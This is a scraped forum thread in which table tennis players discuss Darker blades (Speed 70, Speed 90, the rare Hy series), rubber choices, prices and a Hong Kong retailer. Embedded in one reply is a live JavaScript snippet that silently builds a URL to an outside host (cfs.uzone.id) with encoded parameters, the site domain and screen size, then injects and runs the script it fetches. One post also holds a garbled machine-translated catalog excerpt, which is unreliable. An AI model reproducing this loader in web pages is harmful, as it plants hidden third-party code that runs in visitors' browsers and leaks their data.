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Post Options Post Options   Thanks (0) Thanks(0)   Quote tiehwen Quote  Post ReplyReply Direct Link To This Post Posted: 04/26/2017 at 10:57am
Originally posted by jpenmaster jpenmaster wrote:

Speed 90 is a softer blade . Speed 70 is harder and faster than Speed 90. Many people think the higher number means more speed but it does not with Darker.
Does Speed 70 come w/9mm or 10mm? Which one are you play'n with?
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9 and 10mm. I always used the 10mm Darker Speed 70. Speed 90 is a very nice blade it is just softer.
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My Darker Hy Blade 9 mm with Acuda S3 has a hard feel, whilst Kokutaku Cho Super Cho Tokusen 10 mm with JO Silver has a soft feel. Do you think that the Cho Super will have a hard feel if I change the rubber with Acuda S3 ?
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Post Options Post Options   Thanks (0) Thanks(0)   Quote LNH Quote  Post ReplyReply Direct Link To This Post Posted: 04/27/2017 at 5:23am
I do owned a Acuda S3 rubber and is a soft rubber,  I dont think it will give you that hard feel on the KKT Cho Super Cho Tokusen blade.  Perhaps Tibhar MXP or T05 will be a better choice.if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582CL4NjpNgssK%2fN%2fQL2G47QWDiiFG5VKejfy7sL1MGci35k%2bCNaMd9pI6U0rKbzVlmWuzS0gpcIpgDORHayDkfJT5%2bXelj0MrYBqSYgbaF9pmEhCIC2e0%2fkTBmqM28UBsDNwsmTVawZ38cOslZAuHrh%2flfUb0dEo7R3UGcEe%2fjIuHeTO2n%2b7A9n0Mm6eCum5YxWpbnMobgXVCv54yWaUo%2bU3Pim7oUy4aFXjevKIHNX7oYkkMksTjBK6hLScrbilsuxReq0EiSWD1MppI43BKe6YXQq8lbVjvDMXP2dwepEG%2bDVA168RuPFgMqjatIrEBuweoUJsBQhQvx6lmW6kqNz1VWIb%2fMUD0%2fwgGVI4ySxdLdDqYMY0j%2fMPcmbQBEZv7B0BXdHYzD16pXfeqF%2bh%2fJC5WOGRx48GIjcW4oT%2bpIgsfw3JohnRwmeO91IAWJG8vWtT86lh4lH77vX4GN9Bp1AA%3d" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};
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Post Options Post Options   Thanks (0) Thanks(0)   Quote penholderxxx Quote  Post ReplyReply Direct Link To This Post Posted: 04/27/2017 at 7:59am
Hi aeoliah,
 Do you know what the 'Hy' stand for in your Darker blade ?
 When I got to know of this model a few years ago I enquired with a reputable and established retailer but 
 they do not know ?
 Also, where did you buy the blade from ?
 Thks.

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http://www.jasupo.jp/download/201002darker.pdf

Hy-blade info is in the 2010 catalog
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Post Options Post Options   Thanks (0) Thanks(0)   Quote penholderxxx Quote  Post ReplyReply Direct Link To This Post Posted: 04/27/2017 at 10:26am
 ' http://www.jasupo.jp/download/201002darker.pdf '

   Thanks jpenmaster,
   But everything in Japanese except the front page. Cry
   Anyone knows an english version ? Or knows what 'Hy' mean ? High Yield ?
   I remember when it was launched, the Hy S 90 was a few thousand yen more than the normal S 90.
   Also I notice the Hy model was advertised for only a short period of time and was not available in        
   Malaysia.

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Post Options Post Options   Thanks (0) Thanks(0)   Quote jpenmaster Quote  Post ReplyReply Direct Link To This Post Posted: 04/27/2017 at 11:03am
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High Blade Speed ​​90 grains filled with grains are beautiful enough to sigh. The highest model of cypress veneer that is just worthy to be called a work of art "> The speed and speed of one of the highest quality one with the highest quality, taking advantage of the performance of" Speed ​​90 ", both CHS-1209 K square type (9 mm) With the performance of speed 90 as it is: to use the highest class material ¥ 25,200 (main body ¥ 24,000) and maximize the capacity of veneer with! CHS - 1210 K square type (10 mm / finished in a racket to demonstrate ¥ 27,300 (main body ¥ 26,000): * Because of carefully selected materials, limited to the number of production & pen angle only, there are times when you wait 1 type 1 type 200

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Post Options Post Options   Thanks (0) Thanks(0)   Quote LNH Quote  Post ReplyReply Direct Link To This Post Posted: 04/27/2017 at 11:50am
Hi penholder,

I waited 6 years for the Hy blade. It was last seen in 2010. Sold at tt-japan website.
It reappear again in 2017 but with limited quantity.

I am lucky to grab 2 Jpen Hy blades (102g & 103g) and 1 Cpen Hy blade (9mm/95g) from my regular Hong Kong TT shop.  The owner"s son managed to post the Hy blade series (Jpen/Cpen/shakehand) in his FB which attract my attention. Somehow, I missed the 3rd pc of the Jpen HY blade (101g) since my Malaysian friend also interested to get one. 

So, I recommended him to get the Darker Jpen S90 (10.5mm/102g) which was posted at Tenryu website.  That Jpen S90 do have the beautiful eyes and dense grain.  He was pleased the blade and even claimed is better than his previous 10.5mm S90.

If you are a Cpen player, you still have chances to grab the Cpen Hy blade from the Hkg tt shop since they have 3-4 pcs left.  They also have 4-5 pcs of the shakehand Hy blades.  All the Hy blades series are sold at 2800 HKD or 364 USD.  I have no idea if they are willing to send out the HY blades to Malaysia because I have my Hy blade during my Hong Kong trip in March.

Personally, the Hy blade is the "Custom made" version of the Darker blades.

The website of the tt shop that sold the Hy blades is www.chinastartt.com







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Post Options Post Options   Thanks (0) Thanks(0)   Quote penholderxxx Quote  Post ReplyReply Direct Link To This Post Posted: 04/27/2017 at 10:18pm
Wooaww, seriously, at US$364.00 each, that is 2 pieces of S 90, 'normal' version.
I guess, if you have the money to spare, owning one or two of these will give you a lot of pleasure and satisfaction.
Wonder how these finest beautiful grains carefully selected, 'highest quality' blades perform and feel ?
If I go to Hong Kong, I think I will visit the outlet and try coax the owner to allow me to hold,feel,smell 
and maybe take a few pictures with it and have them framed for fond memories.  LOL

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To Sir ChiChoFicho,
you mentioned a very important term "Dwell time", I have experimented red cedar wood one-ply blade,
and finally bite the nail to do the complicated ODS deflection shape study on a decent 14mm cedar blade (feels good blocking and spin with T05FX)
please visit that topic and discuss, there is an exact shape and time constant for that blade.

http://mytabletennis.net/forum/forum_posts.asp?TID=78940&PID=977205&#977205

Please let me know your thinking, peace.


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